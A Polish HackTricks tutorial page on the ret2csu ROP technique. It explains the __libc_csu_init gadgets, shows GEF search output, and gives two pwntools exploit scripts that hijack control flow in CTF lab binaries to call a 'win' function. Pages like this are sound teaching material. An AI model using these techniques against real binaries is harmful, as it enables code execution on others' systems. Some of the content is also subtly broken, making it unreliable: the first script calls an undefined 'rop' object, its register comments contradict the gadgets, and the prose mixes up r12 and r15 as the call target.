Ret2csu

Reading time: 6 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

https://www.scs.stanford.edu/brop/bittau-brop.pdfPodstawowe informacje

ret2csu to technika hackingowa używana, gdy próbujesz przejąć kontrolę nad programem, ale nie możesz znaleźć gadgets, których zwykle używasz do manipulowania zachowaniem programu.

Gdy program korzysta z określonych bibliotek (takich jak libc), ma wbudowane funkcje do zarządzania tym, jak różne części programu komunikują się ze sobą. Wśród tych funkcji znajdują się ukryte skarby, które mogą działać jako nasze brakujące gadgets, szczególnie jedna o nazwie __libc_csu_init.

Magiczne Gadgets w __libc_csu_init

W __libc_csu_init znajdują się dwie sekwencje instrukcji (gadgets), które warto wyróżnić:

  1. Pierwsza sekwencja pozwala nam ustawić wartości w kilku rejestrach (rbx, rbp, r12, r13, r14, r15). Są to jakby sloty, w których możemy przechowywać liczby lub adresy, które chcemy wykorzystać później.
armasm
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

To urządzenie pozwala nam kontrolować te rejestry, wypychając wartości ze stosu do nich.

  1. Druga sekwencja wykorzystuje wartości, które ustawiliśmy, aby wykonać kilka rzeczy:
  • Przenieść konkretne wartości do innych rejestrów, przygotowując je do użycia jako parametry w funkcjach.
  • Wykonać wywołanie do lokalizacji określonej przez dodanie wartości w r15 i rbx, a następnie pomnożenie rbx przez 8.
armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Może nie znasz żadnego adresu, aby tam napisać i potrzebujesz instrukcji ret. Zauważ, że drugi gadżet również kończy się na ret, ale będziesz musiał spełnić pewne warunki, aby do niego dotrzeć:
armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Warunki będą następujące:

  • [r12 + rbx*8] musi wskazywać na adres przechowujący wywoływalną funkcję (jeśli nie masz pomysłu i nie ma pie, możesz po prostu użyć funkcji _init):
  • Jeśli _init znajduje się pod adresem 0x400560, użyj GEF, aby wyszukać wskaźnik w pamięci do niego i sprawić, aby [r12 + rbx*8] był adresem z wskaźnikiem do _init:
bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44  →   "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
  • rbp i rbx muszą mieć tę samą wartość, aby uniknąć skoku
  • Istnieją pewne pominięte pops, które musisz wziąć pod uwagę

RDI i RSI

Innym sposobem na kontrolowanie rdi i rsi z gadżetu ret2csu jest dostęp do jego specyficznych offsetów:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

Sprawdź tę stronę po więcej informacji:

{{#ref}} brop-blind-return-oriented-programming.md {{#endref}}

Przykład

Używając wywołania

Wyobraź sobie, że chcesz wykonać syscall lub wywołać funkcję taką jak write(), ale potrzebujesz specyficznych wartości w rejestrach rdx i rsi jako parametrów. Zwykle szukałbyś gadżetów, które bezpośrednio ustawiają te rejestry, ale nie możesz znaleźć żadnych.

Tutaj wchodzi w grę ret2csu:

  1. Ustaw rejestry: Użyj pierwszego magicznego gadżetu, aby popchnąć wartości ze stosu do rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) i r15.
  2. Użyj drugiego gadżetu: Gdy te rejestry są ustawione, używasz drugiego gadżetu. To pozwala ci przenieść wybrane wartości do rdx i rsi (z r14 i r13, odpowiednio), przygotowując parametry do wywołania funkcji. Co więcej, kontrolując r15 i rbx, możesz sprawić, że program wywoła funkcję znajdującą się pod adresem, który obliczysz i umieścisz w [r15 + rbx*8].

Masz przykład używający tej techniki i wyjaśniający to tutaj, a to jest ostateczny exploit, który wykorzystano:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

warning

Zauważ, że poprzedni exploit nie jest przeznaczony do wykonania RCE, ma na celu jedynie wywołanie funkcji o nazwie win (biorąc adres win z stdin wywołując gets w łańcuchu ROP i przechowując go w r15) z trzecim argumentem o wartości 0xdeadbeefcafed00d.

Ominięcie wywołania i dotarcie do ret

Następujący exploit został wyodrębniony z tej strony, gdzie używany jest ret2csu, ale zamiast używać wywołania, omija porównania i dociera do ret po wywołaniu:

python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Dlaczego nie używać bezpośrednio libc?

Zazwyczaj te przypadki są również podatne na ret2plt + ret2lib, ale czasami musisz kontrolować więcej parametrów, niż można łatwo kontrolować za pomocą gadżetów, które znajdziesz bezpośrednio w libc. Na przykład, funkcja write() wymaga trzech parametrów, a znalezienie gadżetów do ustawienia wszystkich tych parametrów bezpośrednio może być niemożliwe.

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks